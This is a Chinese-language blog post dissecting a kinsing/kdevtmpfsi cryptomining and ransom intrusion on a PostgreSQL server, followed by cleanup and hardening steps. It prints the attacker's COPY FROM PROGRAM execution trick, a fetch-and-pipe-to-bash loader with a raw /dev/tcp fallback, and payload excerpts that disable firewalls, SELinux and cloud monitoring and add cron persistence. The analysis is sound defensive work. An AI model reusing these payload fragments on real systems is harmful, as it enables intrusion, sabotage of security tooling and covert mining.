banner
zhxycn

zhxycn

email
github
follow

伺服器被挖礦勒索病毒 kdevtmpfsi 入侵的復盤分析及解決方案

文章原文:https://owo.cab/217 ,同步發表在 xLog

異常發現#

11 月 8 日下午,有小夥伴告訴我某服務異常,表現為後端程序報錯與 PostgreSQL 查詢相關。由於使用了 CDN 且僅配置了 HTTP 服務監控告警,因此並未在第一時間收到異常告警。

通過 SSH 連接伺服器,使用 htop 命令查看正在運行的所有進程,發現 /tmp/kdevtmpfsi 進程高佔用,運行用戶為 postgres

進程

嘗試結束該可疑進程,發現該程序會在 1 分鐘內再次啟動,猜測配置了定時任務或存在守護程序。

在雲計算平台查看資源監視,該病毒於 UTC 11-7 16:15(北京時間 11-8 0:15)左右開始運行。

資源監視

由於該病毒佔用資源過多造成伺服器性能下降,且位於 /tmp 目錄下,因此對伺服器進行重啟以臨時緩解。

重啟伺服器後連接 PostgreSQL 資料庫發現所有的數據已被刪除,同時入侵者創建了一個名為 readme_to_recover 的資料庫,內容如下:

readme_to_recover

很明顯,伺服器受到了勒索,入侵者針對 PostgreSQL 資料庫實施入侵行為,同時利用伺服器資源進行挖礦,造成伺服器卡頓和服務崩潰。

入侵者的網站已在 archive.org 存檔,鏈接 https://web.archive.org/web/20251108155042/https://2info.win/psg/,請謹慎訪問

從伺服器創建到被侵入僅 8 小時,好在還在部署階段,沒有重要數據(離譜

復盤與分析#

本節列出的所有命令與腳本請勿運行,部分數據已進行脫敏處理

先貼一下事故伺服器的情況:

  • Ubuntu 24.04 LTS,運行在 Oracle Cloud
  • 僅允許 SSH 密鑰登錄
  • 端口全開
  • 安裝了寶塔面板,PostgreSQL 使用寶塔安裝
  • PostgreSQL 允許所有地址使用密碼連接,且未對 PG 的登錄配置日誌

不難看出這起事故的導火索(因為還在部署階段就沒太注意,我反思)

進程#

病毒的二進制文件在重啟後已被臨時清除,為了弄清病毒的入侵和運作方式,我並沒有對伺服器進行任何操作和加固,而是維持原樣運行,等待病毒再次出現。

不出意外,在 11 月 9 日的 0:14 左右,伺服器 CPU 占用再次來到了 100%。

查看 /tmp 目錄,存在兩個二進制文件,如下:

/tmp 目錄

兩個程序的所有者均為 postgres,其中 kdevtmpfsi 權限 700,創建時間 UTC 16:14;kinsing 權限 777 ,創建時間 UTC 16:11,略早於 kdevtmpfsi

同時,我下載了一份病毒樣本備用:

樣本

使用 ps -ef 命令查找兩個進程,如下:

進程信息

從進程信息來看,kdevtmpfsi 的運行時間在增長(從 06:25:29 變為 06:26:17),而 kinsing 的運行時間在一段時間內幾乎保持不變(為 00:00:04),二者的 PPID 均為 1

稍微熟悉 Linux 的小夥伴不難看出,kdevtmpfsi 持續佔用 CPU 時間,為挖礦主程序;kinsing 佔用 CPU 時間較少,為 kdevtmpfsi 的守護程序。同時,父進程 ID 為 1 说明二者原始父進程已經終止,轉為孤兒進程,由 systemd 進程接管。

但不管怎麼說,systemctl 又不是擺設,直接通過 sudo systemctl status <pid> 來查看啟動鏈:

啟動鏈

怎麼和 postgres 進程一起啟動了,再看看。

使用 sudo crontab -u postgres -l 命令查看 postgres 用戶的定時任務:

定時任務

IP

該定時任務設置為每分鐘執行一次,使用 wget 工具在靜默模式(-q)下載至標準輸出(-O -),並通過管道(|)傳遞給 sh 直接運行,將腳本的運行輸出和系統郵件丟棄(> /dev/null 2>&1),以此實現執行信息的隱藏。

syslog 中查找相關進程的調用記錄,只能找到定時任務相關的記錄。

調用記錄

但當我嘗試訪問該網址時出現 502 錯誤,只好暫時放棄。

入侵方式#

使用 sudo last postgres 命令查看 postgres 用戶的登錄情況,發現輸出為空,說明不是通過 postgres 系統用戶的弱口令入侵的。同時,運行在 postgres 用戶的服務只有 PostgreSQL。

只有一種可能了。

/www/server/pgsql/logs 目錄找到了 PostgreSQL 的執行日誌,在日誌中發現了異常。

PG 日誌 1

PG 日誌 2

PG 日誌 3

這份雖不完整的日誌反映了伺服器被入侵的全过程,可以將入侵者的操作分為 5 個步驟:

  1. 服務探測

    入侵者配置了自動工具,對某一特定 IP 段的伺服器端口使用 nmap 工具進行掃描,查找符合 5432 端口開放的伺服器,並嘗試使用空憑證連接,確認 5432 端口上運行的是 PostgreSQL;

  2. 成功入侵

    入侵者通過爆破弱口令密碼 / 無密碼成功連接後,通過嘗試訪問不存在的資料庫 bbbbbbb 和執行大量的 SELECT VERSION(); 來確保已經完成登錄,並收集資料庫信息以查找漏洞;

  3. 破壞資料庫

    入侵者先列出所有資料庫,再依次通過 information_schema.tables 獲取表。對於每張表先從 information_schema.columns 獲取列數,再使用 SELECT * FROM ... LIMIT 50 來讀取表數據,讀取後通過 DROP TABLE IF EXISTS ... CASCADE 徹底刪除表信息,最終刪除原有資料庫並寫入勒索信息;

  4. 提權

    入侵者創建了一個 pgg_superadmins 的超級管理員,隨後嘗試 ALTER USER postgres WITH NOSUPERUSER 命令來撤銷 postgres 用戶的超級管理員權限,但因為 postgres 為資料庫的初始化用戶而被阻止;

  5. 植入病毒

    PostgreSQL 的 COPY ... FROM PROGRAM 命令允許讀取系統命令輸出到表中,因此被入侵者用於執行腳本。

    DROP TABLE IF EXISTS bwyeLzCF;
    CREATE TABLE bwyeLzCF(cmd_output text);
    COPY bwyeLzCF FROM PROGRAM 'echo ... | base64 -d | bash';
    SELECT * FROM bwyeLzCF;
    DROP TABLE IF EXISTS bwyeLzCF;
    

    入侵者使用新建的 pgg_superadmins 創建了一個臨時表 bwyeLzCF ,表中僅有 cmd_output 一個類型為 text 的字段,用於承載腳本的輸出。echo ... | base64 -d | bash 將 Base64 編碼的腳本解碼後立即運行,運行成功後刪除表 bwyeLzCF 毀滅痕跡。

對於核心腳本,Base64 解密後得到如下內容:

#!/bin/bash
pkill -f zsvc
pkill -f pdefenderd
pkill -f updatecheckerd

function __curl() {
  read proto server path <<<$(echo ${1//// })
  DOC=/${path// //}
  HOST=${server//:*}
  PORT=${server//*:}
  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80

  exec 3<>/dev/tcp/${HOST}/$PORT
  echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
  (while read line; do
   [[ "$line" == $'\r' ]] && break
  done && cat) <&3
  exec 3>&-
}

if [ -x "$(command -v curl)" ]; then
  curl .../pg.sh|bash
elif [ -x "$(command -v wget)" ]; then
  wget -q -O- .../pg.sh|bash
else
  __curl http://.../pg2.sh|bash
fi

這段腳本在運行時會先通過 pkill 命令終止競爭程序,隨後下載並運行腳本。入侵者為了能在缺失 curlwget 的環境中運行,甚至在 __curl 函數中直接通過 TCP 協議發送 HTTP 請求。

腳本分析#

由於該腳本過長且具有風險性,在這裡僅對部分片段進行分析。

  1. 入侵準備

    # 關閉防火牆
    ufw disable
    iptables -F
    
    # 移除 root 用戶的 SSH 密鑰屬性
    chattr -iae /root/.ssh/
    chattr -iae /root/.ssh/authorized_keys
    
    # 結束符合條件的進程(注意這裡 postgres 的 o)
    for filename in /proc/*; do
        ex=$(ls -latrh $filename 2> /dev/null|grep exe)
        if echo $ex |grep -q "/tmp/.perf.c\|/var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew"; then
            result=$(echo "$filename" | sed "s/\/proc\///")
            kill -9 $result
            echo found $filename $result
        fi
    
        if echo $ex |grep -q "/usr/local/bin/postgres"; then
            cw=$(ls -latrh $filename 2> /dev/null|grep cwd)
                if echo $cw |grep -q "/tmp"; then
                          result=$(echo "$filename" | sed "s/\/proc\///")
                          kill -9 $result
                          echo foundp $filename $result
                  fi
    
        fi
    done
    
    # 針對性卸載阿里雲與騰訊雲監控
    if ps aux | grep -i '[a]liyun'; then
      curl http://update.aegis.aliyun.com/download/uninstall.sh | bash
      curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
      pkill aliyun-service
      rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
      rm -rf /usr/local/aegis*
      systemctl stop aliyun.service
      systemctl disable aliyun.service
      service bcm-agent stop
      yum remove bcm-agent -y
      apt-get remove bcm-agent -y
    elif ps aux | grep -i '[y]unjing'; then
      /usr/local/qcloud/stargate/admin/uninstall.sh
      /usr/local/qcloud/YunJing/uninst.sh
      /usr/local/qcloud/monitor/barad/admin/uninstall.sh
    fi
    
    # 關閉內核硬件監控 NMI Watchdog
    sudo sysctl kernel.nmi_watchdog=0
    echo '0' >/proc/sys/kernel/nmi_watchdog
    echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf
    
    # 按網絡連接結束符合條件的進程(或其他挖礦程序)
    netstat -anp | grep ... | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    pkill -f ...
    
    # 按特徵進程結束符合條件的進程(或其他挖礦程序)
    ps aux | grep -v grep | grep ... | awk '{print $2}' | xargs -I % kill -9 %
    pgrep -f ... | xargs -I % kill -9 %
    
    # 刪除其他挖礦程序
    rm -rf ...
    
    # 移除 Docker 中存在其他挖礦程序的容器和鏡像
    docker ps | grep ... | awk '{print $1}' | xargs -I % docker kill %
    docker images -a | grep ... | awk '{print $3}' | xargs -I % docker rmi -f %
    
    # 禁用系統安全機制
    setenforce 0
    echo SELINUX=disabled >/etc/selinux/config
    service apparmor stop
    systemctl disable apparmor
    

    真陰啊.jpg

    腳本先關閉防火牆,隨後卸載雲監控軟件以防止被發現,移除競爭程序避免與 kdevtmpfsi 抢占資源,最終禁用 SELinux 和 AppArmor 安全機制。

  2. 加載挖礦程序

    # 針對不同架構下載對應的程序
    BIN_MD5="b3039abf2ad5202f4a9363b418002351"
    BIN_DOWNLOAD_URL="http://.../kinsing"
    BIN_DOWNLOAD_URL2="http://.../kinsing"
    BIN_NAME="kinsing"
    
    arch=$(uname -i)
    if  [ $arch = aarch64 ]; then
        BIN_MD5="da753ebcfe793614129fc11890acedbc"
        BIN_DOWNLOAD_URL="http://.../kinsing_aarch64"
        BIN_DOWNLOAD_URL2="http://.../kinsing_aarch64"
        echo "arm executed"
    fi
    

    在下載前根據架構選擇了對應的二進制下載地址,同時根據如下優先級確定了下載位置(該部分代碼已省略):

    • /etc,該目錄需要 root 權限

    • /tmp

    • /var/tmp

    • 創建臨時目錄 mktemp -d

    • /dev/shm

    # 用於校驗 MD5 的函數
    checkExists() {
      CHECK_PATH=$1
      MD5=$2
      sum=$(md5sum $CHECK_PATH | awk '{ print $1 }')
      retval=""
      if [ "$MD5" = "$sum" ]; then
        echo >&2 "$CHECK_PATH is $MD5"
        retval="true"
      else
        echo >&2 "$CHECK_PATH is not $MD5, actual $sum"
        retval="false"
      fi
      echo "$retval"
    }
    
    # 用於下載的函數
    download() {
      DOWNLOAD_PATH=$1
      DOWNLOAD_URL=$2
      if [ -L $DOWNLOAD_PATH ]
      then
        rm -rf $DOWNLOAD_PATH
      fi
      chmod 777 $DOWNLOAD_PATH
      $WGET $DOWNLOAD_PATH $DOWNLOAD_URL
      chmod +x $DOWNLOAD_PATH
    }
    
    # 檢查文件是否存在,不存在則下載
    binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
    if [ "$binExists" = "true" ]; then
      echo "$BIN_FULL_PATH exists and checked"
    else
      echo "$BIN_FULL_PATH not exists"
      rm -rf $BIN_FULL_PATH
      download $BIN_FULL_PATH $BIN_DOWNLOAD_URL
      binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
      if [ "$binExists" = "true" ]; then
        echo "$BIN_FULL_PATH after download exists and checked"
      else
        echo "$BIN_FULL_PATH after download not exists"
        download $BIN_FULL_PATH $BIN_DOWNLOAD_URL2
        binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
        if [ "$binExists" = "true" ]; then
          echo "$BIN_FULL_PATH after download2 exists and checked"
        else
          echo "$BIN_FULL_PATH after download2 not exists"
        fi
      fi
    fi
    
  3. 運行和持久化

    chmod 777 $BIN_FULL_PATH
    chmod +x $BIN_FULL_PATH
    SKL=pg $BIN_FULL_PATH
    
    crontab -l | sed '/#wget/d' | crontab -
    crontab -l | sed '/#curl/d' | crontab -
    crontab -l | grep -e "..." | grep -v grep
    if [ $? -eq 0 ]; then
      echo "cron good"
    else
      (
        crontab -l 2>/dev/null
        echo "* * * * * $LDR http://.../pg.sh | sh > /dev/null 2>&1"
      ) | crontab -
    fi
    

    先給目標二進制文件($BIN_FULL_PATH)賦予最高權限,確保可以被運行,隨後向定時任務中加入一條每分鐘執行一次的命令,以此完成持久化,這也是上文看到的加載在 postgres 用戶的那條定時任務。

二進制分析#

程序特徵#

使用 Radare2 查看二進制文件原始信息,結果如下:

二進制文件

特徵kdevtmpfsikinsing
架構(arch)ARM aarch64ARM aarch64
二進制類型(bintype)ELFELF
大小(binsz)~2.4MB~6MB
開發語言(lang)CGo
靜態鏈接(static)
符號表(stripped)已剝離已剝離
保護機制NX 啟用,無 RELRO、Canary同左

使用 WinHex 查看 kdevtmpfsi 文件,不難找出 UPX 的特徵

kdevtmpfsi

使用 UPX 脫殼後再次查看,結果如下:

脫殼後

與脫殼前不同,出現了如下內容:

compiler GCC: (Ubuntu 11.3.0-1ubuntu1~22.04) 11.3.0
relro: no -> partial

kdevtmpfsi#

通過查找關鍵字符串 http 快速定位到門羅幣相關內容:

[0x00402e00]> izz | grep -i "http"
18331 0x003e2b60 0x007e2b60 4   5    .rodata           ascii   http
18398 0x003e30f0 0x007e30f0 83  84   .rodata           ascii     -a, --algo=ALGO               mining algorithm https://xmrig.com/docs/algorithms\n
18835 0x003efcb8 0x007efcb8 58  59   .rodata           ascii   no valid configuration found, try https://xmrig.com/wizard
20113 0x003fa478 0x007fa478 19  20   .rodata           ascii   https proxy request
20114 0x003fa490 0x007fa490 12  13   .rodata           ascii   http request
23162 0x00414058 0x00814058 5   6    .rodata           ascii   https
25219 0x0042ed70 0x0082ed70 16  17   .rodata           ascii   parse_http_line1
25224 0x0042edf0 0x0082edf0 16  17   .rodata           ascii   %s %s HTTP/1.0\r\n
29745 0x004511b0 0x008511b0 104 105  .rodata           ascii   not enough space for format expansion (Please submit full bug report at https://gcc.gnu.org/bugs/):\n
30005 0x00453698 0x00853698 437 438  .rodata           ascii   GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.\nCopyright (C) 2022 Free Software Foundation, Inc.\nThis is free software; see the source for copying conditions.\nThere is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A\nPARTICULAR PURPOSE.\nCompiled by GNU CC version 11.2.0.\nlibc ABIs: UNIQUE ABSOLUTE\nFor bug reporting instructions, please see:\n<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.\n
30991 0x0045dbd8 0x0085dbd8 120 121  .rodata           ascii   TLS generation counter wrapped!  Please report as described in <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.\n

隨後查找 monero\|xmr

[0x00402e00]> izz | grep -i "monero\|xmr"
18114 0x003e1180 0x007e1180 20  21   .rodata           ascii   cryptonight-monerov7
18117 0x003e11b8 0x007e11b8 20  21   .rodata           ascii   cryptonight-monerov8
18173 0x003e1547 0x007e1547 4   5    .rodata           ascii   lXMR
18174 0x003e1550 0x007e1550 6   7    .rodata           ascii   Monero
18187 0x003e1600 0x007e1600 27  28   .rodata           ascii   \e[43;1m\e[1;37m monero  \e[0m
18310 0x003e27e0 0x007e27e0 415 416  .rodata           ascii   \n{\n  "background": true,\n  "donate-level": 0,\n  "cpu": true,\n  "colors": false,\n  "opencl": false,\n  "pools": [\n    {\n      "coin": "monero",\n      "algo": null,\n      "url": "xmr-eu1.nanopool.org",\n      "user": "4...b",\n      "pass": "mine",\n      "tls": false,\n      "keepalive": true,\n      "nicehash": false\n    }\n  ]\n}\n
18315 0x003e2a08 0x007e2a08 5   6    .rodata           ascii   XMRig
18391 0x003e3030 0x007e3030 12  13   .rodata           ascii   XMRig 6.16.4
18396 0x003e3090 0x007e3090 33  34   .rodata           ascii   Usage: xmrig [OPTIONS]\n\nNetwork:\n
18398 0x003e30f0 0x007e30f0 83  84   .rodata           ascii     -a, --algo=ALGO               mining algorithm https://xmrig.com/docs/algorithms\n
18415 0x003e3658 0x007e3658 72  73   .rodata           ascii         --donate-over-proxy=N     control donate over xmrig-proxy feature\n
18460 0x003e4380 0x007e4380 43  44   .rodata           ascii   XMRig 6.16.4\n built on Jul 30 2023 with GCC
18597 0x003e5be8 0x007e5be8 34  35   .rodata           ascii   stratum+tcp://xmr-eu1.nanopool.org
18835 0x003efcb8 0x007efcb8 58  59   .rodata           ascii   no valid configuration found, try https://xmrig.com/wizard
18860 0x003f01b8 0x007f01b8 20  21   .rodata           ascii   donate.ssl.xmrig.com
18861 0x003f01d0 0x007f01d0 19  20   .rodata           ascii   donate.v2.xmrig.com
19355 0x003f4d70 0x007f4d70 5   6    .rodata           ascii   xmrig

該程序連接地址為 xmr-eu1.nanopool.org 的礦池,收益地址為 4...b

kinsing#

接下來,我們來看看 kinsing 這個 Go 語言程序是如何實現進程守護的。

在 IDA 中先查找與 kdevtmpfsi 相關的字符串,但無法找到相關引用。

相關的字符串

再查找與命令執行相關的函數:

[0x000789e0]> iz | grep -E "process|pid|exec|kill"
75    0x002a074c 0x002b074c 4    5    .rodata    ascii   Ppid
199   0x002a0a34 0x002b0a34 4    5    .rodata    ascii   kill
887   0x002a23d1 0x002b23d1 8    9    .rodata    ascii   \aos/exec
1086  0x002a2afa 0x002b2afa 8    9    .rodata    ascii   \aexecute
1608  0x002a3ef1 0x002b3ef1 10   11   .rodata    ascii   \t*exec.Cmd
2379  0x002a6201 0x002b6201 12   13   .rodata    ascii   \v*exec.Error
2873  0x002a7bf9 0x002b7bf9 13   14   .rodata    ascii   \fprocessFlags
3307  0x002a9902 0x002b9902 14   15   .rodata    ascii   Pid\njson:"pid"
3424  0x002aa07c 0x002ba07c 15   16   .rodata    ascii   *exec.ExitError
3523  0x002aa70f 0x002ba70f 15   16   .rodata    ascii   PpidWithContext
3675  0x002ab16c 0x002bb16c 16   17   .rodata    ascii   *process.Process
4588  0x002afaca 0x002bfaca 22   23   .rodata    ascii   *process.OpenFilesStat
4631  0x002afe42 0x002bfe42 22   23   .rodata    ascii   processCertsFromClient
4656  0x002b00b8 0x002c00b8 23   24   .rodata    ascii   *exec.prefixSuffixSaver
4680  0x002b0310 0x002c0310 23   24   .rodata    ascii   *process.MemoryInfoStat
4681  0x002b0329 0x002c0329 23   24   .rodata    ascii   *process.PageFaultsStat
4682  0x002b0342 0x002c0342 23   24   .rodata    ascii   *process.SignalInfoStat
4787  0x002b0d4e 0x002c0d4e 24   25   .rodata    ascii   processClientKeyExchange
4788  0x002b0d68 0x002c0d68 24   25   .rodata    ascii   processServerKeyExchange
4942  0x002b1d47 0x002c1d47 28   29   .rodata    ascii   \e*process.NumCtxSwitchesStat
5168  0x002b36f9 0x002c36f9 35   36   .rodata    ascii   "github.com/shirou/gopsutil/process
5233  0x002b4057 0x002c4057 22   23   .rodata    ascii   json:"pending_process"
5340  0x002b522a 0x002c522a 48   49   .rodata    ascii   /*struct { F uintptr; pw *os.File; c *exec.Cmd }
...

其中 exec.Cmd 是 Go 執行命令調用的函數,而 github.com/shirou/gopsutil 是 Python 中 psutil 的 Go 語言實現,用於獲取系統信息,由此判斷 kinsing 可能存在執行系統命令的行為。

emm... 似乎弄複雜了,我們來看看有沒有簡單一些的方法。

我先將 kinsing 放在 ~/ 目錄下,在 ubuntu 用戶下使用 stracekinsing 及其子進程進行跟蹤:

strace -f -e execve,kill,open,read,nanosleep -o log.txt ./kinsing

在一個新的終端中結束 kdevtmpfsi,等待 kinsing 將其再次啟動:

pkill -f kdevtmpfsi

kdevtmpfsi 再次啟動時結束 strace 跟蹤,並在日誌中查找 kinsing 執行的相關命令:

$ cat log.txt | grep -E "kdevtmpfsi|execve|kill"

66871 execve("./kinsing", ["./kinsing"], 0xffffee10cf68 /* 22 vars */) = 0
66875 execve("./kinsing", ["./kinsing"], 0x40001f8240 /* 23 vars */) = 0
66879 <... read resumed>"Name:\tkinsing\nUmask:\t0002\nState:"..., 4096) = 1187
66879 read(7, "8323 (kinsing) S 1 4560 4560 0 -"..., 512) = 205
66879 read(7, "8816 (kdevtmpfsi) S 1 8816 8816 "..., 512) = 195
67160 execve("/usr/bin/sh", ["sh", "-c", "pkill -f kdevtmpfsi"], 0x40002783c0 /* 23 vars */) = 0
67160 execve("/usr/bin/pkill", ["pkill", "-f", "kdevtmpfsi"], 0xb925af1d5e80 /* 23 vars */) = 0
67160 read(4, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 1024) = 1024
67160 read(4, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 1024) = 1024
67160 read(5, "67125 (kdevtmpfsi) S 1 67125 671"..., 2048) = 183
67160 read(5, "Name:\tkdevtmpfsi\nUmask:\t0077\nSta"..., 2048) = 1170
67160 read(5, "/tmp/kdevtmpfsi\0", 131072) = 16
67160 read(5, "67160 (pkill) R 66875 66868 6558"..., 2048) = 319
67160 read(5, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 2048) = 1190
67160 read(5, "pkill\0-f\0kdevtmpfsi\0", 131072) = 20
66878 read(10, "pkill: killing pid 67125 failed:"..., 32768) = 56
66878 read(7, "8323 (kinsing) S 1 4560 4560 0 -"..., 512) = 205
66878 read(7, "67125 (kdevtmpfsi) S 1 67125 671"..., 512) = 183
67405 execve("/usr/bin/sh", ["sh", "-c", "pkill -f kdevtmpfsi"], 0x40002946c0 /* 23 vars */ <unfinished ...>
67405 <... execve resumed>)             = 0
67405 execve("/usr/bin/pkill", ["pkill", "-f", "kdevtmpfsi"], 0xbf12fcc0ee80 /* 23 vars */ <unfinished ...>
67405 <... execve resumed>)             = 0
67405 read(4, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 1024) = 1024
67405 read(4, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 1024) = 1024
67405 read(5, "8323 (kinsing) S 1 4560 4560 0 -"..., 2048) = 205
67405 read(5, "67125 (kdevtmpfsi) S 1 67125 671"..., 2048) = 183
67405 read(5, "Name:\tkdevtmpfsi\nUmask:\t0077\nSta"..., 2048) = 1171
67405 read(5, "/tmp/kdevtmpfsi\0", 131072) = 16
67405 read(5, "67405 (pkill) R 66875 66868 6558"..., 2048) = 319
67405 read(5, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 2048) = 1190
67405 read(5, "pkill\0-f\0kdevtmpfsi\0", 131072) = 20
67405 kill(67125, SIGTERM)              = -1 EPERM (Operation not permitted)
66878 read(10, "pkill: killing pid 67125 failed:"..., 32768) = 56
67408 execve("/usr/bin/sh", ["sh", "-c", "chmod +x /tmp/kdevtmpfsi33550091"...], 0x40002786c0 /* 23 vars */ <unfinished ...>
67408 <... execve resumed>)             = 0
67408 execve("/usr/bin/chmod", ["chmod", "+x", "/tmp/kdevtmpfsi3355009150"], 0xb1ef30c68e90 /* 23 vars */) = 0
67409 execve("/usr/bin/sh", ["sh", "-c", "/tmp/kdevtmpfsi3355009150 &"], 0x4000278cc0 /* 23 vars */ <unfinished ...>
67409 <... execve resumed>)             = 0
67410 execve("/tmp/kdevtmpfsi3355009150", ["/tmp/kdevtmpfsi3355009150"], 0xbf99e2dd4e90 /* 23 vars */ <unfinished ...>
67410 <... execve resumed>)             = 0
66883 read(8, "67411 (kdevtmpfsi33550) S 1 6741"..., 512) = 287
66883 read(8, "Name:\tkdevtmpfsi33550\nUmask:\t000"..., 512) = 512
66883 read(8, "/tmp/kdevtmpfsi3355009150\0", 512) = 26
67416 +++ killed by SIGKILL +++
67415 +++ killed by SIGKILL +++
67414 +++ killed by SIGKILL +++

那麼這個 /tmp/kdevtmpfsi3355009150 是怎麼出現的呢,在日誌中查找 http 連接相關信息:

$ cat log.txt | grep -E "http"

67160 read(5, "/bin/sh\0-c\0wget -q -O - http://8"..., 131072) = 72
67160 read(5, "/bin/sh\0-c\0wget -q -O - http://8"..., 131072) = 60
67160 read(5, "wget\0-q\0-O\0-\0http://<ip_addr>"..., 131072) = 39
67160 read(5, "wget\0-q\0-O\0-\0http://<ip_addr>"..., 131072) = 39
67160 read(5, "/bin/sh\0-c\0wget -q -O - http://8"..., 131072) = 72
67160 read(5, "/bin/sh\0-c\0wget -q -O - http://8"..., 131072) = 60
67160 read(5, "wget\0-q\0-O\0-\0http://<ip_addr>"..., 131072) = 39
67160 read(5, "wget\0-q\0-O\0-\0http://<ip_addr>"..., 131072) = 39

此時,kinsing 的邏輯已經水落石出,它的監控邏輯由四部分組成:

  1. 監控進程:通過 read 讀取進程信息,檢測 kdevtmpfsi 是否存在;
  2. 結束已存在的進程:通過 sh -c "pkill -f kdevtmpfsi" 命令,嘗試結束已存在的 kdevtmpfsi 進程;
  3. 下載挖礦程序:若 kdevtmpfsi 不存在,則執行前文出現的初始化腳本下載挖礦程序到 /tmp 目錄下,這裡 kdevtmpfsi 帶隨機數後綴是因為目錄下已存在不可讀寫的同名文件;
  4. 啟動挖礦程序:通過 sh -c "/tmp/kdevtmpfsiXXXX &" 命令靜默式啟動挖礦程序。

回到 IDA 中,再次進行相關查找,發現先前被忽略掉的 /var/tmp/kdevtmpfsi 字符串在 main.minerRunningCheck 被引用:

字符串引用

main.minerRunningCheck 函數存在自身循環,那麼基本上可以確定該函數就是進程守護的主要邏輯。

對該函數展開分析,發現該函數除自身循環外,還調用了 main.getMinerPidmain.isMinerRunningmain.minRun 等函數:

調用鏈

IDA

main.minRun 中找到了 strace 日誌中出現的內容:

IDA

也發現 kinsing 內置了一個下載運行工具:

IDA

一切都理清了。

解決方案#

被刪除的資料庫無法恢復,只能通過備份還原

基於對入侵流程的復盤,我總結出如下解決方案:

請在執行前建立系統快照

  1. 刪除可疑定時任務

    臨時禁用定時任務以防止二次感染:

    sudo systemctl stop cron
    sudo systemctl stop crond
    sudo service cron stop
    sudo service crond stop
    

    編輯 postgres 用戶的定時任務:

    sudo crontab -u postgres -e
    

    隨後再次查看定時任務,確保可疑項已被清除:

    sudo crontab -u postgres -l
    
  2. 取消病毒文件的讀寫和執行權限

    sudo chmod 000 /tmp/kdevtmpfsi /tmp/kinsing
    
  3. 終止相應進程

    sudo pkill -9 -f kinsing
    sudo pkill -9 -f kdevtmpfsi
    
  4. 刪除病毒文件

    全盤查找文件名包含 kinsingkdevtmpfsi 的文件並刪除

    sudo find / -name "*kdevtmpfsi*" -delete
    sudo find / -name "*kinsing*" -delete
    
  5. 刪除可疑 PostgreSQL 用戶

    使用管理員用戶登錄資料庫:

    sudo psql -U postgres
    

    隨後執行以下 SQL 語句:

    # 查找 pgg_superadmins 是否存在
    SELECT usename FROM pg_user WHERE usename='pgg_superadmins';
    
    # 移除權限
    REVOKE ALL PRIVILEGES ON ALL TABLES IN SCHEMA public FROM pgg_superadmins;
    REVOKE ALL PRIVILEGES ON ALL SEQUENCES IN SCHEMA public FROM pgg_superadmins;
    REVOKE ALL PRIVILEGES ON ALL FUNCTIONS IN SCHEMA public FROM pgg_superadmins;
    
    # 移除用戶
    REASSIGN OWNED BY pgg_superadmins TO postgres;
    DROP OWNED BY pgg_superadmins;
    DROP ROLE pgg_superadmins;
    
    # 為 postgres 賦予超級用戶
    ALTER USER postgres WITH SUPERUSER;
    
  6. 重啟伺服器

    sudo reboot
    
  7. 恢復屬性保護

    sudo chattr +i /etc/passwd
    sudo chattr +i /etc/shadow
    sudo chattr +i /etc/group
    sudo chattr +i /etc/gshadow
    sudo chattr +i /etc/ssh/sshd_config
    sudo chattr +i /root/.ssh/authorized_keys
    
  8. 加固 PostgreSQL

    查找 postgresql.conf 是否存在如下項:

    listen_addresses = '*'
    

    查找 pg_hba.conf 是否存在如下項:

    host    all             all             0.0.0.0/0               md5
    host    all             all             ::0/0                   md5
    
    host    all             all             0.0.0.0/0               trust
    host    all             all             ::0/0                   trust
    

    如有,應立即修改或刪除。例如僅允許 Docker 容器連接:

    host    all             all             172.17.0.0/16           md5
    
  9. 加固伺服器

    /tmp 目錄進行加固:

    sudo mount -o remount,noexec,nosuid,nodev /tmp
    

    建立防火牆規則(根據實際需求修改):

    # 允許已建立的連接
    sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
    
    # 允許本地回環
    sudo iptables -A INPUT -i lo -j ACCEPT
    
    # 允許SSH
    sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT
    
    # 保存並生效
    sudo service iptables save
    sudo systemctl enable iptables
    

    恢復 SELinux 或 AppArmor

    # 對 SELinux 系統(CentOS/RHEL)
    sudo sed -i 's/SELINUX=disabled/SELINUX=permissive/' /etc/selinux/config
    
    # 對 AppArmor 系統(Ubuntu/Debian)
    sudo systemctl enable apparmor
    sudo systemctl start apparmor
    sudo systemctl reload apparmor
    
  10. 重啟,再次觀察驗證

    sudo reboot
    

需注意,該解決方法只適用於臨時處理和加固,建議儘快對數據和服務進行遷移重建。同時做好伺服器日常維護和監控,避免敏感服務端口直接暴露於公網,不要在 SSH 和資料庫使用弱口令密碼。在保證服務正常運行的情況下,將賬號權限收縮到最小。

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。